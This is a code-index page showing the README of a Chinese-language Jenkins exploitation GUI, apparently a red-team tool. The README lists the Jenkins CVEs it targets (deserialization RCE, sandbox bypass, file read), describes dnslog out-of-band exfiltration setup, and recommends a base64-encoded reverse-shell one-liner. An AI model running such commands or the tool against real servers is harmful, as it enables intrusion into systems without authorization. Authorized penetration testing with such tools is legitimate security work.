MCPcopy Index your code
hub / github.com/TheBeastofwar/JenkinsExploit-GUI

github.com/TheBeastofwar/JenkinsExploit-GUI @v1.3

Chat with this repo
repository ↗ · DeepWiki ↗ · release v1.3 ↗ · + Follow
115 symbols 269 edges 22 files 0 documented · 0%
What it actually does AI analysis from the code graph — generated when you open this
loading…
README

JenkinsExploit-GUI

一款Jenkins综合漏洞利用工具

使用

jdk版本

在windows或linux使用jdk8的哪一个版本应该都可以,在macOS里需要jdk8u较高的版本,比如jdk8u321

外置payload

从release下载windows_tools,linux_tools或macOS_tools并放在与JenkinsExploit-GUI-*-SNAPSHOT.jar相同的目录,或者可以自行打包tools_source中的python源码文件

如果是linux或macOS的话需要对外置payload进行chmod +x 赋予权限 img.png img_1.png

dnslog配置

进行dnslog设置,目前仅支持dnslog.pw和ceye.io

img_3.png img_4.png

进行检测

img_2.png * 在验证无回显命令执行的时候为了避免转义问题,推荐用如下方式进行反弹shell和dnslog外带信息

bash -c {echo,Y....}|{base64,-d}|{bash,-i}

支持检测:

  • CVE-2015-8103/CVE-2016-0788 Jenkins 反序列化远程代码执行 https://github.com/Medicean/VulApps/tree/master/j/jenkins/1
  • CVE-2016-0792 Jenkins XStream反序列化远程代码执行 https://github.com/jpiechowka/jenkins-cve-2016-0792
  • CVE-2017-1000353 Jenkins-CI 远程代码执行漏洞 https://github.com/vulhub/CVE-2017-1000353
  • CVE-2018-1000600 Jenkins GitHub SSRF+信息泄露
  • CVE-2018-1000861 Jenkins 绕过Groovy沙盒未授权命令执行漏洞 https://github.com/orangetw/awesome-jenkins-rce-2019
  • CVE-2018-1999002 Jenkins 任意文件读取 https://mp.weixin.qq.com/s/MOKeN1qEBonS8bOLw6LH_w
  • CVE-2019-1003000 Jenkins 远程代码执行 https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
  • CVE-2019-1003005/CVE-2019-1003029 远程代码执行(Script Security Plugin沙箱绕过) https://github.com/orangetw/awesome-jenkins-rce-2019
  • CVE-2024-23897 Jenkins CLI 接口任意文件读取漏洞 https://github.com/vulhub/vulhub/blob/master/jenkins/CVE-2024-23897

未完待续:

  • CVE-2016-9299 Jenkins ldap反序列化远程代码执行,添加poc
  • CVE-2017-1000353 无法检测的bug
  • 继续尝试把外置的payload接入到java代码中
  • 添加批量检测功能

源码打包

mvn clean package -DskipTests
cd target
zip -d  JenkinsExploit-GUI-*-SNAPSHOT.jar 'META-INF/*.SF' 'META-INF/*.RSA' 'META-INF/*DSA'

Bug反馈

https://github.com/thebeastofwar/JenkinsExploit-GUI 提交issues

文章

红队武器化开发:jenkins综合漏洞利用工具----JenkinsExploit-GUI

免责声明

本工具仅面向合法授权的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。 在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。请勿对非授权目标进行扫描。 如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。 在安装并使用本工具前,请您务必审慎阅读、充分理解各条款内容,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。 除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。

开发日志

v1.0

  • 以yhy0师傅的模板项目 https://github.com/yhy0/ExpDemo-JavaFX 为模板,写出了jenkins综合漏洞利用工具
  • 部分python的poc还未转成java代码接入到工具中,就打包成可执行文件

v1.1

  • 添加Jenkins指纹验证和版本获取功能,使得能够通过版本先匹配一下CVE
  • 修复进行all检测后还得再次对特定的CVE进行检测的bug(经过版本检测后直接转到对应的CVE检测)

v1.2

  • 可以配置dnslog.pw或ceye.io dnslog平台来进行自动化无回显命令执行或SSRF验证

Extension points exported contracts — how you extend this code

ExploitInterface (Interface)
(no doc) [18 implementers]
src/main/java/fun/fireline/core/ExploitInterface.java

Core symbols most depended-on inside this repo

getText
called by 19
src/main/java/fun/fireline/tools/Response.java
get
called by 19
src/main/java/fun/fireline/tools/HttpTools.java
setText
called by 17
src/main/java/fun/fireline/tools/Response.java
dnslog_verify
called by 11
src/main/java/fun/fireline/tools/Tools.java
get_Jenkions_Info
called by 9
src/main/java/fun/fireline/tools/Jenkins_Info.java
compare2
called by 8
src/main/java/fun/fireline/tools/Tools.java
getDomain
called by 8
src/main/java/fun/fireline/exp/tools/dnslogSetting.java
getRandomString
called by 7
src/main/java/fun/fireline/tools/Tools.java

Shape

Method 91
Class 23
Interface 1

Languages

Java100%

Modules by API surface

src/main/java/fun/fireline/exp/tools/Payload.java11 symbols
src/main/java/fun/fireline/tools/Response.java10 symbols
src/main/java/fun/fireline/tools/Tools.java9 symbols
src/main/java/fun/fireline/tools/HttpTools.java8 symbols
src/main/java/fun/fireline/exp/tools/dnslogSetting.java7 symbols
src/main/java/fun/fireline/exp/jenkins/CVE_2016_0792.java7 symbols
src/main/java/fun/fireline/controller/JenkinsController.java6 symbols
src/main/java/fun/fireline/tools/Cert.java5 symbols
src/main/java/fun/fireline/exp/jenkins/CVE_2024_23897.java4 symbols
src/main/java/fun/fireline/exp/jenkins/CVE_2019_1003005.java4 symbols
src/main/java/fun/fireline/exp/jenkins/CVE_2019_1003000.java4 symbols
src/main/java/fun/fireline/exp/jenkins/CVE_2018_1999002.java4 symbols

For agents

$ claude mcp add JenkinsExploit-GUI \
  -- python -m otcore.mcp_server <graph>

⬇ download graph artifact